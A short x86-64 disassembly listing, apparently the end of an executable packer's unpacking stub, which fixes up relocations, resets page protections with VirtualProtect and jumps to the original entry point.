xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14000b8a1
cmp al, 0xef
ja 0x14000b893
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14000b873
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14000b882
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x21f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14000b8f5
sub rsp, 0xffffffffffffff80
jmp 0x140002a10